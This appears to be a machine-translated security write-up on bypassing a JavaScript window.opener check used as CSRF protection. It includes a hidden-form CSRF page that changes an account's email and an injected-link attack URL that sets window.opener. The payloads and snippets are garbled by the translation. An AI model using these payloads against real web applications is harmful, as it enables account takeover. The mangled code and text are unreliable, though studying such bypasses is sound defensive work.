Use Window. Opener to bypass CSRF Protection

Use Window. Opener to bypass CSRF Protection

With the popularity of Web applications, security issues have become increasingly prominent. At present, the security of Web applications is more guaranteed by Web developers than by client verification mechanisms. This makes Web applications more flexible and reliable, but at a high cost. Currently, 70% of Web applications are very vulnerable, because the client-based authentication mechanism is very easy to bypass. Recently, I found an interesting security mechanism to prevent CSRF attacks in a Web application.

1. Introduction

When talking about CSRF protection, we usually use three methods:

1. Check Referrer

2. form-based random Token

3. Cookie-based random Token

Currently, most of the CSRF protection is implemented on the client using JavaScript code.

2. Analysis

Let's look at an HTTP header.
POST/home/accountsettings HTTP/1.1
Host: websecgeeks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv: 36.0) Gecko/20100101 Firefox/36.0
Referer: http://websecgeeks.com/Connection: keep-alive
Content-Length: 57
Newemail = [email protected] & Submit = Save

Since no random Token is used, we can say that the above Code has a CSRF threat. To verify this, I created an html page:
 
Action = "http://websecgeeks.com/home/accountsettings” method =" POST ">
Type = "hidden" name = "newemail" value = "[email protected]"/>
Type = "hidden" name = "Submit" value = "Save"/>
Type = "submit" value = "Submit form"/>
 
 
When I use a valid session to execute this page, the Web application immediately kicked me out, and then I tried to execute it again and again, all Web applications immediately kicked out of my session and logged out of my session. I guess it may be that the Web uses Referrer for verification, So I manually added a valid Referrer value, and the Web application deregistered my session again.

After several attempts, I found a piece of JavaScript code for protection.
Script>
If (window. opener = null ){
Top. location. href = "/homedirectory/logoutuser ";
}
Script>

We found that this code requested a Window. opener value. If the Window. opener value is blank, the Web application will kick out of me and log out of our session. For CSRF protection, this code is quite good. For more information about Window. opener, see Windows Opener Description.
When a window is opened by another window, the window maintains a reference value that refers to the previous window. The value is window. opener. If the current window is not opened by other windows, the window. opener value is blank. Currently, Windows Phone does not support window. opener. When Windows are opened in different security regions, ie does not support window. opener.

Now we need to set window. opener to implement CSRF attacks.

3. Exploitation

Through analysis, I found a method to create Opener values by using the href attribute in the HTTP tag.

Create two pages first

1. xss. php

2.csrf3.html

1. Both pages exist on the attacked Web server, and are assumed to be "localhost"

In "xss. php", I created a link to "csrf3.html" and used the get method to pass a variable named "zip. Here we assume that the zip variable is not filtered. Then we use href for the following injection:
Href = "http: // 127.0.0.1/csrf3.html"> Link For Target Application
2.for csrf3.html, we use the previous code.
 
Action = "http://websecgeeks.com/home/accountsettings” method =" POST ">
Type = "hidden" name = "newemail" value = "[email protected]"/>
Type = "hidden" name = "Submit" value = "Save"/>
Type = "submit" value = "Submit form"/>
 
The final URL we send to the target is
Http: // 127.0.0.1/xss. php? Zip = href = "http: // 127.0.0.1/csrf3.html"> Link For Target Application

The effect is as follows:



3. Now I have succeeded. After checking the link provided by href, I can open a new page without being kicked out by the Web application, and also bypass the protection of CSRF.

4. Conclusion

As we often say, the client-based authentication mechanism is not a good method. After this experiment, I would like to say that using new methods to defend against Web application attacks is very good, but we must pay attention to the specific implementation methods.